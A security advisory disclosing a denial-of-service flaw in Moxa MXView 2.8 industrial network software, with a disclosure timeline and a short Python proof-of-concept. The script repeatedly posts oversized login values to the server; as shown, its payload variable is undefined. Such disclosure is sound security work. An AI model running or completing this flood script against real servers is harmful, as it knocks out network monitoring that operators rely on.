Moxa MXView 2.8 Denial Of Service

Moxa MXView version 2.8 suffers from a denial of service vulnerability.

MD5 | f3e8a984c7ff2ba005faeacc03b91ca6

[+] Credits: John Page AKA hyp3rlinx  
[+] Website:
[+] Source:
[+] ISR: ApparitionSec


MXView v2.8


MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notificationanytime, anywhere.

Vulnerability Type:
Denial Of Service

CVE Reference:

Security Issue:
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.

import urllib,urllib2

print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'

IP=raw_input("[Moxa MXView IP]>")


url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})

while 1:
req = urllib2.Request(url, data)
res = urllib2.urlopen(req)
print res

Network Access:


Disclosure Timeline:
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure

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